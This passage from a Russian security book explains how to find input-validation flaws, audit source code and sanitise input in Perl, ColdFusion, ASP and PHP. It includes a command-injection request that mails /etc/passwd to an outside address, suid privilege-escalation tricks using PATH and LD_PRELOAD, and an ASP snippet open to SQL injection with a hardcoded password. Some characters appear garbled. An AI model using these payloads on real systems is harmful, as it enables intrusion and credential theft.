Защита от хакеров корпоративных сетей

авторов Коллектив

search.cgi/?swishindex=swish.db&maxresults=40 &keywords=“cat/etc/passwd|mail [e-mail]“

В результате будет получено электронное письмо с копией файла паролей.

Исследование технологических ограничений серверов баз данных, Web-серверов, языков создания сценариев и приложений. Например, технология активных серверных страниц ASP (ASP-Active Server Pages) на информационном сервере Интернет IIS не предусматривает выполнения команд командного процессора или программ с интерфейсом командной строки. Поэтому в данной ситуации нет необходимости подставлять метасимволы UNIX в параметры запроса.

Поиск выражений равенства, формул или фрагментов программного кода. Если удастся найти что-нибудь, похожее на выражения равенства, формулы или фрагмент программного кода, то обычно это указывает на возможность передачи значений параметров функции типа «eval», которая позволяет выполнить код пользователя.

Поставьте себя на место разработчика. Если вам недоплатили, вам скучно или у вас нет времени, какую программу вы напишите? Скажем, вы администратор одного из новых доменов верхнего уровня TLD (Top Level Domain). В практике администрирования широко используются формы «whois» для определения доступности домена. С их помощью можно зарезервировать домен, если он доступен. Если разработчику предоставить выбор – написать собственную программу поддержки формы «whois» или воспользоваться стандартной командного

интерпретатора UNIX, то он, практически не задумываясь, выберет более легкий путь: возьмет за основу стандартную программу и адаптирует ее для нужд своего приложения.

Обнаружение неполадок в сетевых службах и локальных приложениях

В мире существует не только бесчисленное множество Web-приложений. Приведем несколько советов по поиску неполадок в сетевых службах.

1. Если сетевой сервис использует опубликованный протокол (например, установленный RFC (Requests for Comments) – серия документов IETF под названием «Запросы на комментарии», начатая в 1969 году и содержащая описания набора протоколов Интернет и связанную с ними информацию), то обязательно просмотрите протокол и найдите описания областей хранения строк переменной длины и массивов данных. Они могут быть уязвимы к атакам переполнения буфера.

2. Поищите спецификации протокола, определяющие, что строка не должна быть больше установленной длины. Любая из них является источником потенциальной уязвимости для атак переполнения буфера, поскольку предполагает, что никто не станет нарушать спецификации протокола.

3. Установите связь с тестируемой сетевой службой и перешлите ей большой массив случайных данных. Некоторые приложения неверно обрабатывают не описанные в протоколе данные и аварийно завершаются, что приводит к ситуации «отказ в обслуживании».

4. Установите связь с тестируемой сетевой службой и, не посылая никаких данных, узнайте, сколько времени потребуется для того, чтобы сетевая служба выдала сообщение о разрыве соединения и завершила сеанс. Некоторые приложения окажутся в состоянии постоянного ожидания, что может привести к истощению ресурсов, если злоумышленник попытается установить соединение с многочисленными копиями программы сетевой службы. Проблема усугубляется, если сетевая служба не обслуживает нескольких пользователей одновременно (одна сервисная служба обслуживает одно обращение к серверу), поскольку в этом случае обращения других пользователей сетевой службой не обрабатываются.

Но, естественно, ошибки могут быть и в локальных приложениях. При тестировании локальных утилит suid/sgid рекомендуется:

1) переслать приложению большой массив данных, задав соответствующие параметры командной строки. Многие приложения suid/sgid уязвимы к атакам переполнения буфера;

2) присвоить переменной окружения PATH значение локальной директории, в которой хранятся копии пораженных «троянцами» программ и к которым обращается приложение. Узнать о вызове приложением внешних программ можно дизассемблированием приложения или, что лучше, при помощи утилиты strings системы UNIX, позволяющей найти имена внешних программ в двоичном коде исследуемого приложения;

3) присвоить переменной окружения LD_PRELOAD ссылку на библиотеку, пораженную «троянцем». Некоторые приложения и системы позволяют с ее помощью задавать дополнительные динамические библиотеки. В результате приложение может повысить свои привилегии. Отметим, что это в большей степени ошибка операционной системы, чем приложения;

4) проверьте, не использует ли приложение функцию getenv для чтения значения переменной окружения. Многие приложения уязвимы к атакам «переполнения буфера» (в результате присвоения переменной окружения данных большой длины) и атакам «изменение ссылки на файл» (в результате определения в переменной окружения дополнительных файлов, журналов или директории). Единственный способ удостовериться в том, что в приложении используются переменные окружения, заключается в поиске утилитой strings системы UNIX в двоичном коде исследуемого приложения имен переменных в верхнем регистре;

5) постарайтесь изменить содержимое конфигурационного файла приложения, если он может быть изменен пользователем. Во многих приложениях реализован не самый лучший вариант анализа конфигурационного файла. Цель изменения файла заключается в вызове ситуации переполнения буфера путем присваивания различным атрибутам очень длинных строковых значений.

Анализ исходных текстов программ

Аудит приложения более эффективен, если доступен исходный текст его программ. Тогда можно использовать поиск различий (диффинг) различных версий приложения (поиск различий был описан в главе 5). Поиск различий заключается в сравнении версий одного и того же приложения для нахождения в них уязвимостей или изменений. Но как найти уязвимость, вызванную передачей приложению не предусмотренных разработчиком входных данных или данных неверного формата?

Для этого следует найти вызовы системных функций и проследить, откуда берутся передаваемые им данные. Связаны ли они как-нибудь с входными данными? Если связаны, то следует попытаться определить, как именно. Часто трассировка хода выполнения приложения от точки ввода непредусмотренных данных заводит в тупик. Поэтому лучше начать с системных функций и проследить историю появления входных данных системных функций.

Синтаксис системных функций и их входных данных зависит от языка, в котором они используются. Прежде всего следует обратить внимание на точки вызова программ (функции exec, system), функции работы с файлами (open, fopen), запросы к базам данных (команды SQL). В идеале следует найти все входные данные пользователя и места их использования. Это даст возможность определить, действительно ли обработка данных пользователя представляет интерес с точки зрения обеспечения безопасности.

В качестве примера рассмотрим фрагмент приложения:

<% SQLquery=“SELECT * FROM phonetable WHERE name=’” & _

request.querystring(“name”) & “‘”

Set Conn = Server.CreateObject(“ADODB.Connection”)

Conn.Open “ DSN=websql;UID=webserver;PWD=w3bs3rv3r;DATABASE=data”

Set rec = Server.CreateObject(“ADODB.RecordSet”)

rec.ActiveConnection=Conn

rec.Open SQLquery %>

Видно, что перед выполнением запроса SQL введенные пользователем данные не проверяются. Например, никак не контролируется значение параметра name перед включением его в запрос, поэтому злоумышленнику будет очень просто заставить приложение пропустить запрос SQL и выполнить нужные ему команды.

Контроль данных

Лучший способ борьбы с не предусмотренными разработчиком данными – проверка их на допустимые значения. Помня о принципе сведения проверок к минимуму, следует оценить диапазон значений тех или иных символов для каждого сообщения, передаваемого пользователем.

Например, в почтовом индексе должны присутствовать только числа и, возможно, символ дефиса для США. Телефонный номер состоит из чисел и символов форматирования (круглых скобок и дефиса). Для адреса требуются цифры и буквы, для имени – только буквы. Конечно, можно считать символы форматирования допустимыми, но с каждым символом возрастает потенциальный риск возникновения уязвимости. Хотя числа и буквы в общем-то безобидны, но тем не менее вполне возможно включение во входные данные приложения дополнительных команд SQL с использованием только букв, чисел

и символа пробела. На это не потребуется много усилий, так что задумайтесь лучше об ограничении входного потока данных.

Пропуск символов

При просмотре документации по интерфейсу CGI для программистов поражает количество советов избегать применения управляющих символов командного процессора. Зачем их избегать, если они не вообще не нужны? К тому же возможны случаи, когда недостаточно просто пропустить без обработки символы командного процессора.

Например, нельзя в строке пропустить символ возврата каретки, поместив перед ним символ обратной косой черты «\». В результате действие символа возврата каретки отменено не будет, а строка закончится символом «\», который имеет особое значение для командного процессора UNIX. С символом NULL та же история. Если NULL пропустить в строке, то строка закончится символом обратной косой черты «\». В языке Perl функция open выполняется по-особенному, если имя файла завершается символом со специальным значением «I», невзирая на наличие символа обратной косой черты «\» перед ним.

Лучше удалить опасные символы данных, чем попытаться их пропустить или обезвредить. Не всегда понятно, как будут восприняты те или иные символы, поэтому с точки зрения обеспечения безопасности сомнительные символы лучше удалить.

Естественно, в каждом языке предусмотрены свои собственные средства контроля опасных символов данных. Рассмотрим некоторые популярные языки и встроенные в них средства контроля.

Язык Perl

В языке Perl оператор замены строк с ключом удаления (tr///d) хорошо справляется с удалением символов из обрабатываемой строки. Совместное использование ключей удаления и инверсии (tr///cd) позволяет удалить из обрабатываемой строки все символы, кроме указанных. Оператор замены строк не использует нотацию регулярных выражений regex, а обрабатывает строку посимвольно. Например, чтобы оставить в строке только цифры, следует выполнить следующий оператор:

$data =~ tr/0-9//cd

Диапазон чисел /0-9 / совместно с ключами дополнения и инверсии cd, заданными в операторе замены строк tr, указывают на необходимость удаления любых нечисловых символов из обрабатываемой строки (вместо замены их на другой символ). Оператор подстановки текста (s///) языка Perl хотя и медленнее, но предоставляет программисту больше возможностей. Он позволяет использовать всю мощь регулярных выражений regex для изощренной обработки строк по шаблонам в соответствии с форматом. Например, чтобы в строке сохранить только цифры, следует выполнить следующий оператор:

$data =~ s/[^0-9]//g

Ключ g указывает на необходимость обработки всех, в том числе и одинаковых, символов строки. В состав модуля интерфейса базы данных DBI (Database Interface) входит функция работы с кавычками quote, которой передается строка запроса SQL и которая возвращает ее копию с правильно расставленными с точки зрения запроса кавычками, в том числе расставляя корректные кавычки по концам строки:

$clean = $db->quote($data)

Следует подчеркнуть, что функция обрамляет строку одинарными кавычками, так что правильный запрос SQL выглядит таким образом:

SELECT * FROM table WHERE x=$data,

а не так:

SELECT * FROM table WHERE x=’$data’

Язык разметки COLD Fusion

Для удаления нежелательных символов из строки данных можно использовать функции языка разметки COLD Fusion (CFML–COLD Fusion Markup Language), поддерживающие регулярные выражения regex. К их числу принадлежит функция REReplace.

REReplace(data, “regex pattern”, “replace with”, “ALL”)

Параметр «ALL» указывает функции на необходимость выполнить замену символов во всей строке в соответствии с шаблоном. Например, чтобы оставить в строке data только числа, следует вызвать функцию:

REReplace(data, “[^0-9]”, “”, “ALL”)

В языке разметки CFML предусмотрена функция, которая, в отличие от функции REReplace, заменяет только один символ на другой или одну строку на другую (но не группу символов). Реже используется функция replacelist. Она применяется для замены одних известных символов на другие:

ReplaceList(data, “|,!,$”, “X,Y,Z”)

В этом примере символы «1!$» заменяются символами «XYZ».

Технология ASP

В новейшей технологии ASP (Active Server Pages), разработанной корпорацией Microsoft, представлен новый regex-объект регулярных выражений. Его используют для замены данных по шаблону, например:

set reg = new RegExp

reg.pattern = “[^a-zA-Z0-9]”

data = reg.replace(data, “”)

Для замены символов можно использовать системную настраиваемую функцию replace, но для этого нужен навык обращения с функцией посимвольной замены. Например, следующий код используется для оставления в строке только чисел:

function ReplaceFunc(MatchedString) {

return “”;}

var regex = /[^0-9]/g;

data = data.replace(regex, ReplaceFunc);

В фрагменте кода задана функция ReplaceFunc, которая вызывается для каждого заменяемого символа функцией replace в соответствии с шаблоном regex. В ранних версиях ASP единственным способом проверки символов в строке было сравнение каждого символа строки с заданными ограничениями: проверяемый символ принадлежит или не принадлежит заданному диапазону значений величин ASCII, либо удовлетворяет или не удовлетворяет заданным логическим условиям. Излишне говорить, что метод регулярных выражений regex стал долгожданным нововведением.

Язык PHP

В языке программирования PHP предусмотрен ряд функций, полезных для обработки непредвиденных данных и данных неверного формата. Для фильтрации данных в соответствии с заданным набором символов можно использовать функцию замены ereg_replace языка PHP, основанную на регулярных выражениях regex:

ereg_replace(“regex string”, “replace with”, $data)

Ниже приведен вариант вызова функции для удаления из строки всех нечисловых символов:

ereg_replace(“[^0-9]”, “”, $data)

Вспомните, что шаблон «[^0–9]» означает, что надо заменить все, что не является числом на строку «», которая является пустой строкой, а значит, нечисловой символ удаляется. Для пропуска символов из небольшого набора метасимволов (символов специального назначения) в PHP включена функция quotemeta:

$clean = quotemeta($data)

При использовании функции нужно быть внимательным, потому что число обрабатываемых функцией символов невелико, не больше следующего списка символов (.\+?[^](*)$) . Функция addslashes – другая полезная функция, которая часто используется в запросах SQL:

$clean = addslashes($data)

Функция addslashes добавляет символ обратной косой черты (\) перед всеми символами одинарных кавычек , двойных кавычек ("), обратной косой черты (\) и NULL-символами. Это серьезная защита от действий злоумышленника, пытающегося использовать SQL-запрос пользователя в своих целях. В SQL-запросах некоторых систем управления базами данных (например, Sybase или Oracle) для пропуска одинарных кавычек используются их дублирование («), а не символ обратной косой черты (\»). Для этого используется функция ereg_replace в следующем виде: